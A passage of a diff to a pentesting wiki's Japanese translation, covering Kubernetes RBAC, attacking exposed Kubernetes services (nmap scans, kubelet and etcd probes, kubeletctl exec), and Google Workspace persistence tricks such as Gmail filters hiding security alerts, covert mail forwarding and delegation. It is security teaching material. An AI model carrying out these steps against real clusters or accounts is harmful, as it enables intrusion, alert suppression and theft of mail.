get（個々のリソース用）、list（コレクション用、オブジェクトの完全な内容を含む）、watch（個々のリソースまたはリソースのコレクションを監視するため） | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete（個々のリソース用）、deletecollection（コレクション用） | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes は、特定の動詞を使用して追加の権限の認可を確認することがあります。例えば： +Kubernetes は、specialized verbs を使って追加の permissions に対する authorization を時々チェックします。例えば: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `policy` API グループの `podsecuritypolicies` リソースに対する `use` 動詞。 +- `policy` API group の `podsecuritypolicies` resources に対する `use` verb. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `rbac.authorization.k8s.io` API グループの `roles` および `clusterroles` リソースに対する `bind` および `escalate` 動詞。 +- `rbac.authorization.k8s.io` API group の `roles` と `clusterroles` resources に対する `bind` および `escalate` verbs. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- コア API グループの `users`、`groups`、および `serviceaccounts` に対する `impersonate` 動詞、及び `authentication.k8s.io` API グループの `userextras`。 +- core API group の `users`、`groups`、`serviceaccounts`、および `authentication.k8s.io` API group の `userextras` に対する `impersonate` verb. > [!WARNING] -> **各リソースがサポートするすべての動詞を見つける** には、`kubectl api-resources --sort-by name -o wide` を実行してください。 +> `kubectl api-resources --sort-by name -o wide` を実行すると、**各 resource がサポートするすべての verbs** を確認できます -### 例 +### Examples ```yaml:Role apiVersion: rbac.authorization.k8s.io/v1 kind: Role @@ -80,13 +80,13 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -例えば、特定のユーザーが実行できるようにするために **ClusterRole** を使用できます： +例えば、特定のユーザーが実行できるようにするために **ClusterRole** を使用できます: ``` kubectl get pods --all-namespaces ``` -### **RoleBinding と ClusterRoleBinding** +### **RoleBinding and ClusterRoleBinding** -[**ドキュメントから:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **ロールバインディングは、ロールで定義された権限をユーザーまたはユーザーのセットに付与します**。これは、対象（ユーザー、グループ、またはサービスアカウント）のリストと、付与されるロールへの参照を保持します。**RoleBinding** は特定の **namespace** 内で権限を付与しますが、**ClusterRoleBinding** はそのアクセスを **クラスター全体** に付与します。 +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role で定義された権限をユーザーまたはユーザーのセットに付与する**。これは subject（users、groups、または service accounts）のリストと、付与される role への参照を保持する。**RoleBinding** は特定の **namespace** 内で権限を付与し、一方 **ClusterRoleBinding** はそのアクセスを **cluster-wide** に付与する。 ```yaml:RoleBinding piVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -122,9 +122,9 @@ kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ``` -**権限は加算的です**。したがって、「リスト」と「削除」のシークレットを持つclusterRoleがある場合、「取得」を持つRoleを追加できます。したがって、常に自分のロールと権限をテストし、**許可されていることを明示してください。デフォルトではすべてが拒否されます。** +**Permissions are additive** なので、もし clusterRole に “list” と “delete” secrets があれば、Role に “get” を追加できます。なので注意し、常に自分の roles と permissions をテストし、**何が ALLOWED されるのかを明確に指定してください。なぜなら、デフォルトではすべて DENIED されるからです。** -## **RBACの列挙** +## **Enumerating RBAC** ```bash # Get current privileges kubectl auth can-i --list @@ -146,7 +146,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### 権限昇格のためのRole/ClusterRolesの悪用 +### Role/ClusterRoles を悪用した権限昇格 {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index a9ccc8265..7321646ab 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -1,41 +1,41 @@ -# Kubernetesサービスのペンテスト +# Pentesting Kubernetes Services {{#include ../../../banners/hacktricks-training.md}} -Kubernetesは、**インターネットに公開されている**か、**1つのポッドを侵害した後に内部ネットワークにある**可能性のあるいくつかの**特定のネットワークサービス**を使用します。 +Kubernetes は、**インターネットに公開**されている、または**1つの pod を侵害した後の内部ネットワーク**で見つかる可能性がある、いくつかの**特有のネットワークサービス**を使用します。 -## OSINTを使用した公開ポッドの発見 +## OSINT による公開 pod の発見 -1つの方法は、[crt.sh](https://crt.sh)で`Identity LIKE "k8s.%.com"`を検索して、kubernetesに関連するサブドメインを見つけることです。別の方法は、githubで`"k8s.%.com"`を検索し、文字列を含む**YAMLファイル**を探すことです。 +1つの方法は、[crt.sh](https://crt.sh) で `Identity LIKE "k8s.%.com"` を検索して、kubernetes に関連するサブドメインを見つけることです。別の方法として、github で `"k8s.%.com"` を検索し、その文字列を含む **YAML files** を探すこともできます。 -## Kubernetesがサービスを公開する方法 +## Kubernetes が Services を公開する方法 -Kubernetesがどのように**サービスを公開するか**を理解することは、見つけるために役立つかもしれません： +対象を見つけるために、Kubernetes が **publicly に services を公開**する仕組みを理解しておくと役立つかもしれません。 {{#ref}} ../exposing-services-in-kubernetes.md {{#endref}} -## ポートスキャンによる公開ポッドの発見 +## ポートスキャンによる公開 pod の発見 -Kubernetesクラスターで開いている可能性のあるポートは次のとおりです： +Kubernetes cluster では、以下のポートが open になっている可能性があります。 -| ポート | プロセス | 説明 | -| --------------- | -------------- | -------------------------------------------------------------------- | -| 443/TCP | kube-apiserver | Kubernetes APIポート | -| 2379/TCP | etcd | | -| 6666/TCP | etcd | etcd | -| 4194/TCP | cAdvisor | コンテナメトリクス | -| 6443/TCP | kube-apiserver | Kubernetes APIポート | -| 8443/TCP | kube-apiserver | Minikube APIポート | -| 8080/TCP | kube-apiserver | 安全でないAPIポート | -| 10250/TCP | kubelet | フルモードアクセスを許可するHTTPS API | -| 10255/TCP | kubelet | 認証されていない読み取り専用HTTPポート：ポッド、実行中のポッド、ノードの状態 | -| 10256/TCP | kube-proxy | Kube Proxyヘルスチェックサーバー | -| 9099/TCP | calico-felix | Calicoのヘルスチェックサーバー | -| 6782-4/TCP | weave | メトリクスとエンドポイント | -| 30000-32767/TCP | NodePort | サービスへのプロキシ | -| 44134/TCP | Tiller | Helmサービスリスニング | +| Port | Process | Description | +| --------------- | -------------- | ---------------------------------------------------------------------- | +| 443/TCP | kube-apiserver | Kubernetes API port | +| 2379/TCP | etcd | | +| 6666/TCP | etcd | etcd | +| 4194/TCP | cAdvisor | Container metrics | +| 6443/TCP | kube-apiserver | Kubernetes API port | +| 8443/TCP | kube-apiserver | Minikube API port | +| 8080/TCP | kube-apiserver | Insecure API port | +| 10250/TCP | kubelet | HTTPS API which allows full mode access | +| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | +| 10256/TCP | kube-proxy | Kube Proxy health check server | +| 9099/TCP | calico-felix | Health check server for Calico | +| 6782-4/TCP | weave | Metrics and endpoints | +| 30000-32767/TCP | NodePort | Proxy to the services | +| 44134/TCP | Tiller | Helm service listening | ### Nmap ```bash @@ -43,15 +43,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -これは管理者が通常**`kubectl`**ツールを使用して通信する**API Kubernetesサービス**です。 +これは管理者が通常ツール **`kubectl`** を使ってやり取りする **API Kubernetes service** です。 -**一般的なポート: 6443および443**、ただしminikubeでは8443、非安全なものとして8080もあります。 +**一般的なポート: 6443 と 443**、ただし minikube では 8443、insecure として 8080 もあります。 ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**このサービスと対話して機密データを取得し、機密アクションを実行する方法を学ぶには、次のページを確認してください：** +**このページを確認して、このサービスに対してやり取りすることで機密データを取得し、機密操作を実行する方法を学んでください:** {{#ref}} ../kubernetes-enumeration.md @@ -59,18 +59,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -このサービスは**クラスターのすべてのノードで実行されます**。これは**ノード**内のポッドを**制御**するサービスです。**kube-apiserver**と通信します。 +このサービスは**クラスタのすべてのnodeで実行**されます。これは**node**内のpodを**制御**するサービスです。**kube-apiserver**と通信します。 -このサービスが公開されているのを見つけた場合、**認証されていないRCE**を見つけた可能性があります。 +このサービスが公開されているのを見つけた場合、**認証なしRCE**を発見した可能性があります。 #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -レスポンスが `Unauthorized` の場合、認証が必要です。 +`Unauthorized` の場合は、認証が必要です。 -ノードをリストできる場合は、次のコマンドで kubelets エンドポイントのリストを取得できます: +nodes を list できるなら、次のように kubelets endpoints の list を取得できます: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -94,49 +94,49 @@ etcdctl --endpoints=http://:2379 get / --prefix --keys-only ```bash helm --host tiller-deploy.kube-system:44134 version ``` -このサービスを悪用してKubernetes内で権限を昇格させることができます： +このサービスを悪用して Kubernetes 内で権限昇格できます： ### cAdvisor -メトリクスを収集するのに便利なサービスです。 +メトリクスを収集するのに便利なサービス。 ```bash curl -k https://:4194 ``` ### NodePort -**NodePort**を介してすべてのノードでポートが公開されると、同じポートがすべてのノードで開かれ、トラフィックが宣言された**Service**にプロキシされます。デフォルトでは、このポートは**範囲30000-32767**にあります。したがって、新しい未チェックのサービスはこれらのポートを介してアクセス可能になる可能性があります。 +ポートが **NodePort** によってすべてのノードで公開されると、宣言された **Service** にトラフィックをプロキシするために、すべてのノードで同じポートが開かれます。デフォルトでは、このポートは **range 30000-32767** の範囲になります。そのため、新しく確認されていないサービスがこれらのポート経由でアクセス可能な場合があります。 ```bash sudo nmap -sS -p 30000-32767 ``` -## 脆弱な誤設定 +## Vulnerable Misconfigurations -### Kube-apiserverの匿名アクセス +### Kube-apiserver Anonymous Access -**kube-apiserver APIエンドポイントへの匿名アクセスは許可されていません**。しかし、いくつかのエンドポイントを確認することができます： +**kube-apiserver API endpoints** への Anonymous access は許可されていません。ですが、いくつかの endpoints を確認できます: -![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) +![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) -### **ETCDの匿名アクセスの確認** +### **Checking for ETCD Anonymous Access** -ETCDはクラスターの秘密、設定ファイル、その他の**機密データ**を保存します。**デフォルト**では、ETCDは**匿名で**アクセスできませんが、確認することは常に良いことです。 +ETCD は cluster secrets、configuration files、その他の **sensitive data** を保存します。**Default** では、ETCD へは **anonymous** にアクセス **できません** が、確認しておくのは常に良いことです。 -ETCDに匿名でアクセスできる場合は、**[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md)**ツールを使用する必要があります。次のコマンドは、保存されているすべてのキーを取得します： +ETCD に anonymous access できる場合は、[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** を **use** する必要があるかもしれません。次の command ですべての保存済み keys を取得できます: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -[**Kubeletのドキュメント**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)によると、**デフォルトでは匿名アクセス**がサービスに**許可されています：** +[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルト**でサービスへの**匿名アクセス**が**許可**されていると説明しています: -> Kubeletサーバーへの匿名リクエストを有効にします。他の認証方法によって拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストのユーザー名は`system:anonymous`で、グループ名は`system:unauthenticated`です。 +> Kubelet server への匿名リクエストを有効にします。別の認証方式で拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストの username は `system:anonymous`、group name は `system:unauthenticated` です -**Kubelet APIの認証と認可の仕組みをよりよく理解する**には、このページを確認してください： +**Kubelet API の authentication と authorization の仕組み**をよりよく理解するには、このページを確認してください: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -**Kubelet**サービスの**APIは文書化されていません**が、ソースコードはここにあり、公開されているエンドポイントを見つけるのは**実行する**のと同じくらい簡単です： +**Kubelet** service の **API は documented されていません**が、source code はここで見つけることができ、exposed endpoints を見つけるのは **running** するのと同じくらい簡単です: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -148,34 +148,34 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -すべて興味深いです。 +それらはどれも興味深いです。 -[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使用して、Kubelet とそのエンドポイントと対話できます。 +[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使って、Kubelet とそのエンドポイントを操作できます。 #### /pods -このエンドポイントはポッドとそのコンテナをリストします： +このエンドポイントは pods とその containers を一覧表示します: ```bash kubeletctl pods ``` #### /exec -このエンドポイントは、任意のコンテナ内でコードを非常に簡単に実行することを可能にします： +このエンドポイントを使うと、任意のコンテナ内でコードを非常に簡単に実行できます: ```bash kubeletctl exec [command] ``` > [!NOTE] -> この攻撃を避けるために、_**kubelet**_ サービスは `--anonymous-auth false` で実行されるべきであり、サービスはネットワークレベルで分離されるべきです。 +> この攻撃を避けるには、_**kubelet**_ サービスを `--anonymous-auth false` で実行し、サービスを network レベルで分離する必要があります。 -### **Kubelet (読み取り専用ポート) 情報漏洩の確認** +### **Kubelet (Read Only Port) の情報露出の確認** -**kubelet 読み取り専用ポート**が公開されると、無許可の第三者がAPIから情報を取得できるようになります。このポートの公開は、さまざまな**クラスター構成要素**の開示につながる可能性があります。**ポッド名、内部ファイルの場所、その他の構成**を含む情報は重要ではないかもしれませんが、その公開は依然としてセキュリティリスクをもたらし、避けるべきです。 +**kubelet read-only port** が公開されていると、未認可の第三者が API から情報を取得できるようになります。この port の公開は、さまざまな **cluster configuration elements** の漏えいにつながる可能性があります。**pod names、内部ファイルの場所、その他の configurations** を含む情報は重大ではないかもしれませんが、それでも露出は security risk をもたらすため、避けるべきです。 -この脆弱性がどのように悪用されるかの例として、リモート攻撃者が特定のURLにアクセスすることが挙げられます。`http://:10255/pods`に移動することで、攻撃者はkubeletから機密情報を取得する可能性があります： +この脆弱性の悪用例として、リモート attacker が特定の URL にアクセスする方法があります。`http://:10255/pods` に移動すると、attacker は kubelet から機密情報を取得できる可能性があります: -![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) +![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) -## 参考文献 +## References {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2 diff --git a/src/pentesting-cloud/workspace-security/gws-persistence.md b/src/pentesting-cloud/workspace-security/gws-persistence.md index ccfc6af96..10079b894 100644 --- a/src/pentesting-cloud/workspace-security/gws-persistence.md +++ b/src/pentesting-cloud/workspace-security/gws-persistence.md @@ -3,177 +3,178 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> このセクションで設定を変更するすべてのアクションは、**メールへのセキュリティアラートの送信や、アカウントに同期されたモバイルへのプッシュ通知を生成します**。 +> このセクションで言及されている、設定を変更するすべての操作は、**security alert** をメールに送信し、さらにアカウントと同期されたモバイル端末への **push notification** も生成します。 -## **Gmailでの持続性** +## **Gmail での Persistence** -- Googleからのセキュリティ通知を**隠すためのフィルターを作成**できます +- Google からの security notifications を隠すために **filters を作成**できる - `from: (no-reply@accounts.google.com) "Security Alert"` -- これにより、セキュリティメールがメールに届くのを防ぎます（ただし、モバイルへのプッシュ通知は防げません） +- これにより security emails がメールに届くのを防げます（ただしモバイルへの push notifications は防げません）
-Gmailフィルターを作成する手順 +gmail filter を作成する手順 -(手順は[**こちら**](https://support.google.com/mail/answer/6579)から) +([**here**](https://support.google.com/mail/answer/6579) の手順) -1. [Gmail](https://mail.google.com/)を開きます。 -2. 上部の検索ボックスで、検索オプションを表示するをクリックします ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) 。 -3. 検索条件を入力します。検索が正しく機能したか確認するには、**検索**をクリックして表示されるメールを確認します。 -4. 検索ウィンドウの下部で、**フィルターを作成**をクリックします。 -5. フィルターに何をさせたいかを選択します。 -6. **フィルターを作成**をクリックします。 +1. [Gmail](https://mail.google.com/) を開く。 +2. 上部の検索ボックスで、検索オプションの表示 ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) をクリックする。 +3. 検索条件を入力する。検索が正しく動作したか確認したい場合は、**Search** をクリックして表示される email を確認する。 +4. 検索ウィンドウの下部で、**Create filter** をクリックする。 +5. filter に実行させたい動作を選ぶ。 +6. **Create filter** をクリックする。 -現在のフィルターを確認するには、[https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)で削除できます。 +現在の filter は [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters) で確認できる（削除もここで可能）。
-- **機密情報を転送するための転送先アドレスを作成**します（またはすべて） - 手動アクセスが必要です。 -- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)で転送先アドレスを作成します。 -- 受信アドレスはこれを確認する必要があります。 -- 次に、すべてのメールを転送し、コピーを保持するように設定します（変更を保存することを忘れないでください）： +- 機密情報（または全部）を転送するための **forwarding address を作成**する - 手動でのアクセスが必要。 +- [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop) で forwarding address を作成する +- 受信側のアドレスで確認が必要 +- その後、コピーを保持したまま全 email を転送するよう設定する（**save changes** をクリックするのを忘れないこと）:
-特定のメールのみを他のメールアドレスに転送するフィルターを作成することも可能です。 +特定の email だけを filter して、別の email アドレスへ転送することも可能。 -## アプリパスワード +## App passwords -もしあなたが**Googleユーザーセッションを侵害**し、ユーザーが**2FA**を有効にしていた場合、[**アプリパスワード**](https://support.google.com/accounts/answer/185833?hl=en)を**生成**できます（手順はリンクを参照してください）。**アプリパスワードはもはやGoogleによって推奨されておらず、ユーザーが**Googleアカウントのパスワードを変更すると無効になります。** +**google user session を侵害**できて、なおかつその user が **2FA** を使っていた場合、[**app password**](https://support.google.com/accounts/answer/185833?hl=en) を**生成**できる（手順はリンク先参照）。なお、**App passwords は Google では現在推奨されておらず**、user が **Google Account password を変更すると失効**します。 -**オープンセッションがあっても、アプリパスワードを作成するにはユーザーのパスワードを知っている必要があります。** +**open session があっても、app password を作成するには user の password を知っている必要があります。** > [!NOTE] -> アプリパスワードは**2段階認証が有効なアカウントでのみ使用できます**。 +> App passwords は **2-Step Verification** が有効な account でのみ使用できます。 -## 2-FAの変更と類似 +## 2-FA 変更など -このページ[**https://myaccount.google.com/security**](https://myaccount.google.com/security)**で2-FAをオフにしたり、新しいデバイス（または電話番号）を登録したりすることも可能です。**\ -**パスキーを生成したり（自分のデバイスを追加）、パスワードを変更したり、確認用の電話番号や回復用の電話番号を追加したり、回復用のメールを変更したり、セキュリティ質問を変更したりすることも可能です。** +このページ [**https://myaccount.google.com/security**](https://myaccount.google.com/security) では、**2-FA を無効化**したり、**新しい device**（または phone number）を登録したりすることも可能です。\ +**passkeys を生成する（自分の device を追加する）、password を変更する、verification phones と recovery 用の mobile numbers を追加する、recovery email を変更する、security questions を変更することも可能です）。** > [!CAUTION] -> ユーザーの電話に**セキュリティプッシュ通知が届かないようにするために、スマートフォンからサインアウトすることができます**（ただし、それは奇妙です）なぜなら、ここから再度サインインすることはできないからです。\ -> デバイスを**特定することも可能です。** +> ユーザーの phone に security push notifications が届くのを**防ぐ**ために、**その smartphone を sign out** させることもできます（かなり不自然ですが）。ただし、ここから再度 sign in させることはできません。 +> +> **device を locate する**ことも可能です。 -**オープンセッションがあっても、これらの設定を変更するにはユーザーのパスワードを知っている必要があります。** +**open session があっても、これらの設定を変更するには user の password を知っている必要があります。** -## OAuthアプリによる持続性 +## OAuth Apps 経由の Persistence -もしあなたが**ユーザーのアカウントを侵害した場合、**すべての可能な権限を**OAuthアプリ**に付与することを**受け入れる**ことができます。唯一の問題は、Workspaceが**未審査の外部および/または内部OAuthアプリを禁止するように設定されている可能性があることです。**\ -Workspaceの組織では、デフォルトで外部OAuthアプリを信頼せず、内部のものを信頼することが一般的です。したがって、**組織内で新しいOAuthアプリケーションを生成するのに十分な権限がある場合、外部アプリが禁止されている場合は、それを生成し、**その新しい内部OAuthアプリを使用して持続性を維持します**。 +**user の account を compromise** できていれば、**OAuth App** に対して可能な限りの permissions を付与することを **accept** するだけでよいです。問題は、Workspace では **未確認の external および/または internal OAuth apps を禁止**できる点です。\ +Workspace Organizations では、external OAuth apps をデフォルトで信頼せず internal ones は信頼する構成がかなり一般的です。そのため、organization 内で **新しい OAuth application を生成するのに十分な permissions** があり、external apps が禁止されているなら、それを生成して **その新しい internal OAuth app を使って persistence を維持**できます。 -OAuthアプリに関する詳細は、以下のページを確認してください： +OAuth Apps についての詳細は次のページを確認してください: {{#ref}} gws-google-platforms-phishing/ {{#endref}} -## 委任による持続性 +## delegation 経由の Persistence -アカウントを攻撃者が制御する別のアカウントに**委任する**ことができます（これを行うことが許可されている場合）。Workspaceの**組織**では、このオプションは**有効**でなければなりません。すべてのユーザーに対して無効にすることも、特定のユーザー/グループから有効にすることも、すべてのユーザーに対して有効にすることもできます（通常は一部のユーザー/グループにのみ有効にされるか、完全に無効にされます）。 +攻撃者が制御する別の account に **account を delegate** するだけでよいです（これが許可されている場合）。Workspace **Organizations** ではこの option が **有効化**されている必要があります。全員で無効、特定の users/groups のみ有効、または全員で有効にできます（通常は一部の users/groups のみ有効か、完全に無効です）。
-Workspace管理者の場合、この機能を有効にするために確認してください +Workspace admin なら、この機能を有効化するために確認すること -(情報は[ドキュメントからコピー](https://support.google.com/a/answer/7223765)) +([docs からコピーした情報](https://support.google.com/a/answer/7223765)) -あなたの組織（例えば、あなたの職場や学校）の管理者として、ユーザーが自分のGmailアカウントへのアクセスを委任できるかどうかを制御します。すべての人に委任のオプションを与えることも、特定の部門の人々だけに委任を設定させることもできます。例えば、あなたは： +organization（たとえば勤務先や学校）の administrator として、users が自分の Gmail account への access を delegate できるかどうかを制御できます。全員に delegate 可能にすることも、特定の department の人だけに delegation を設定させることもできます。たとえば、次のようなことができます。 -- 自分のGmailアカウントに管理アシスタントを委任者として追加し、彼らがあなたの代わりにメールを読み、送信できるようにします。 -- グループ（例えば、営業部門）をグループに追加し、全員が1つのGmailアカウントにアクセスできるようにします。 +- administrative assistant を Gmail account の delegate に追加して、あなたに代わって email を読んだり送信したりしてもらう。 +- Groups で sales department のような group を delegate として追加し、全員に 1 つの Gmail account への access を与える。 -ユーザーは、同じ組織内の別のユーザーにのみアクセスを委任できます。ドメインや組織単位に関係なく。 +Users は、domain や organizational unit に関係なく、同じ organization 内の別の user にのみ access を delegate できます。 -#### 委任の制限と制約 +#### Delegation の制限と制約 -- **ユーザーが自分のメールボックスへのアクセスをGoogleグループに付与できる**オプション：このオプションを使用するには、委任されたアカウントのOUおよび各グループメンバーのOUで有効にする必要があります。このオプションが有効でないOUに属するグループメンバーは、委任されたアカウントにアクセスできません。 -- 通常の使用では、40人の委任ユーザーが同時にGmailアカウントにアクセスできます。1人以上の委任者による平均以上の使用は、この数を減少させる可能性があります。 -- Gmailに頻繁にアクセスする自動化プロセスも、同時にアカウントにアクセスできる委任者の数を減少させる可能性があります。これらのプロセスには、Gmailに頻繁にアクセスするAPIやブラウザ拡張機能が含まれます。 -- 単一のGmailアカウントは最大1,000のユニークな委任者をサポートします。グループは制限に対して1つの委任者としてカウントされます。 -- 委任はGmailアカウントの制限を増加させません。委任ユーザーのいるGmailアカウントは、標準のGmailアカウントの制限とポリシーを持っています。詳細については、[Gmailの制限とポリシー](https://support.google.com/a/topic/28609)を訪問してください。 +- **Allow users to grant their mailbox access to a Google group** option: この option を使うには、delegated account の OU と各 group member の OU の両方で有効になっている必要があります。この option が有効でない OU に属する group members は delegated account に access できません。 +- 通常の利用では、40 人の delegated users が同時に Gmail account に access できます。1 人または複数の delegates による通常以上の利用は、この数を減らす可能性があります。 +- Gmail に頻繁に access する automated processes も、同時に account に access できる delegates の数を減らす可能性があります。これには Gmail に頻繁に access する APIs や browser extensions が含まれます。 +- 1 つの Gmail account は最大 1,000 個の unique delegates をサポートします。Groups の group は 1 つの delegate としてこの上限にカウントされます。 +- delegation は Gmail account の limits を増やしません。delegated users を持つ Gmail accounts は、標準の Gmail account の limits と policies に従います。詳細は [Gmail limits and policies](https://support.google.com/a/topic/28609) を参照してください。 -#### ステップ1：ユーザーのGmail委任を有効にする +#### Step 1: ユーザー向けに Gmail delegation を有効化する -**始める前に：**特定のユーザーに設定を適用するには、彼らのアカウントを[組織単位](https://support.google.com/a/topic/1227584)に配置します。 +**開始前に:** 特定の users に設定を適用するには、それらの account を [organizational unit](https://support.google.com/a/topic/1227584) に入れてください。 -1. [サインイン](https://admin.google.com/)して、[Google管理コンソール](https://support.google.com/a/answer/182076)にアクセスします。 +1. [Google Admin console](https://support.google.com/a/answer/182076) に [Sign in](https://admin.google.com/) する。 -管理者アカウントを使用してサインインしてください。現在のアカウントCarlosPolop@gmail.comではありません。 +_administrator account_ を使って sign in し、現在の account CarlosPolop@gmail.com では sign in しないこと。 -2. 管理コンソールで、メニュー ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![その後](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **アプリ**![その後](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![その後](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![その後](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**ユーザー設定**に移動します。 -3. すべての人に設定を適用するには、最上位の組織単位を選択したままにします。そうでない場合は、子の[組織単位](https://support.google.com/a/topic/1227584)を選択します。 -4. **メール委任**をクリックします。 -5. **ユーザーがドメイン内の他のユーザーにメールボックスへのアクセスを委任できる**ボックスをチェックします。 -6. （オプション）ユーザーが自分のアカウントから送信される委任メッセージに含まれる送信者情報を指定できるようにするには、**この設定をカスタマイズできるようにする**ボックスをチェックします。 -7. 委任者が送信するメッセージに含まれるデフォルトの送信者情報のオプションを選択します： -- **アカウント所有者とメールを送信した委任者を表示**—メッセージにはGmailアカウント所有者と委任者のメールアドレスが含まれます。 -- **アカウント所有者のみを表示**—メッセージにはGmailアカウント所有者のメールアドレスのみが含まれます。委任者のメールアドレスは含まれません。 -8. （オプション）ユーザーがグループを委任者として追加できるようにするには、**ユーザーがGoogleグループへのメールボックスアクセスを付与できるようにする**ボックスをチェックします。 -9. **保存**をクリックします。子の組織単位を設定した場合、親の組織単位の設定を**継承**または**上書き**できる場合があります。 -10. （オプション）他の組織単位のGmail委任を有効にするには、ステップ3〜9を繰り返します。 +2. Admin console で、Menu ![Google Admin console main menu icon](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![Google Admin console apps grid icon](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings** に進む。 +3. すべてのユーザーに設定を適用するには、最上位の organizational unit を選択したままにする。それ以外の場合は、子の [organizational unit](https://support.google.com/a/topic/1227584) を選択する。 +4. **Mail delegation** をクリックする。 +5. **Let users delegate access to their mailbox to other users in the domain** の box にチェックを入れる。 +6. （任意）users が delegated messages に含める sender information を指定できるようにするには、**Allow users to customize this setting** の box にチェックを入れる。 +7. delegates によって送信された messages に含めるデフォルトの sender information の option を選ぶ: +- **Show the account owner and the delegate who sent the email**—Messages には Gmail account owner と delegate の email addresses が含まれる。 +- **Show the account owner only**—Messages には Gmail account owner の email address だけが含まれる。delegate の email address は含まれない。 +8. （任意）users が Groups の group を delegate として追加できるようにするには、**Allow users to grant their mailbox access to a Google group** の box にチェックを入れる。 +9. **Save** をクリックする。子の organizational unit 